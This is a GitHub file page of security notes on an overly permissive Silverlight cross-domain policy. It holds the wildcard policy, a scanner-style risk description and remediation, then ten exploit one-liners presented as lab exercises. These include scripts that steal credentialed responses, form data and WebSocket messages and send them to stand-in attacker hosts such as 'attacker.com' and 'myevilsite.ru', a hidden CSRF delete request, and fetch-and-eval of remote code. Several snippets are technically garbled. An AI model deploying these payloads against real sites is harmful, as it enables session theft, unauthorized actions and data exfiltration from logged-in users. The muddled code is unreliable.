-
Notifications
You must be signed in to change notification settings - Fork 0
/
crossdomain.xml-NOT
103 lines (81 loc) · 5.34 KB
/
crossdomain.xml-NOT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
This is overly permissive for crossdomain.xml
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-methods="*" http-request-headers="*">
<domain uri="http://*"/>
<domain uri="https://*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
Issue detail
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this
application. Unless the application consists entirely of unprotected public content, this policy
is likely to present a significant security risk.
Issue background
The Silverlight cross-domain policy controls whether Silverlight client components running on other
domains can perform two-way interaction with the domain that publishes the policy. If another domain
is allowed by the policy, then that domain can potentially attack users of the application.
If a user is logged in to the application, and visits a domain allowed by the policy, then any
malicious content running on that domain can potentially gain full access to the application within
the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that
domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and
attack the application that allows access. Any domains that are allowed by the Silverlight cross-domain
policy should be reviewed to determine whether it is appropriate for the application to fully trust both
their intentions and security posture.
Issue remediation
Any inappropriate entries in the Silverlight cross-domain policy file should be removed.
When a web server's access policy is configured to allow any domain to interact with it by
specifying http://* and https://*, it essentially removes the same-origin policy (SOP) protections.
This configuration can lead to various security vulnerabilities, as it allows any website to make
requests to your server and read its responses. Here are ten one-liners or short exploit scenarios
that leverage such a misconfiguration in a cross-domain access policy. These examples assume you're
performing ethical hacking within a controlled lab environment.
[**] Capture and exfiltrate session cookies or other sensitive information to an attacker-controlled domain.
[*] Cross-Site Scripting (XSS) to Steal Cookies
<script>
let yourServer="evilsite.ru";
let attackerServer="myevilsite.ru";
fetch('http://' + yourServer, {credentials: 'include'}).then(response => response.text()).then(data => fetch('http://' + attackerServer,
{
method: 'POST', body: data
}));
</script>
[*] Cross-Site Request Forgery (CSRF)
<img src="http://<yourHost>/admin/delete-user?id=1" style="display:none">
[*] Force a logged-in admin's browser to perform actions without their consent.
[**] Performing Unauthorized API Calls
fetch('http://your-lab-server/api/private-data',
{credentials: 'include'}).then(response => response.json()).then(data => console.log(data));
[*] Access private API endpoints, assuming the victim's identity.
[**] Document Object Model (DOM) Data Extraction
window.open('http://your-lab-server').onload = function(e) { console.log(e.document.body.innerHTML); };
Extract information from a web page hosted on your server via a new window/tab.
[**] Bypassing CSRF Protection
fetch('http://your-lab-server/perform/action',
{method: 'POST', credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({action: 'delete'})});
Submit a POST request to perform actions, bypassing CSRF tokens since the origin is allowed.
[*] Exploiting WebSockets
var ws = new WebSocket('ws://your-lab-server/endpoint');
ws.onmessage = function(event) { fetch('http://attacker.com/log', {method: 'POST', body: event.data}); };
[*] Intercept WebSocket messages and exfiltrate data.
[*] Stealing Autocomplete Data
<iframe src="http://your-lab-server/profile" style="display:none" onload="this.contentWindow.document.forms[0].onsubmit = function() { var data = new FormData(this); fetch('http://attacker.com/', {method: 'POST', body: data}); }"></iframe>
Steal data from forms with autocomplete enabled when the user interacts with them.
[*] Capturing Screen Contents
fetch('http://your-lab-server/sensitive-page', {credentials: 'include'}).then(response => response.text()).then(html => window.open(`data:text/html,${encodeURIComponent(html)}`)).then(win => setTimeout(() => win.print(), 1000));
Render the sensitive page content in a new window and prompt to print (or capture).
[*] Overriding Content Security Policy (CSP)
fetch('http://your-lab-server/useful-data', {credentials: 'include'}).then(response => response.text()).then(data => eval(data));
Fetch and execute JavaScript from your lab server, ignoring any CSP headers.
[*] Injecting Malicious iframes
<iframe src="http://your-lab-server/" onload="this.contentWindow.localStorage.setItem('token', 'stolen_token');"></iframe>
Inject an iframe to manipulate or steal data from local storage.